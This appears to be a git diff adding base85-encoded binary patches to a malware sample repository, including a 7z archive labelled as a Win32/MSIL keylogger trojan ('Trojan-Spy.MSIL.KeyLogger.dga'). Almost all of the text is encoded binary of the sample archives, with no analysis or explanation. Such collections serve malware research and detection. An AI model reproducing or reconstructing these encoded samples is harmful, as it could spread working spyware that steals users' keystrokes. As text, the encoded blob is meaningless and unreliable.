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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.dga.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.dga.7z new file mode 100644 index 0000000000000000000000000000000000000000..d7251a433faf340969ef9bd3ef2aa02bf0b6de51 GIT binary patch literal 154914 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 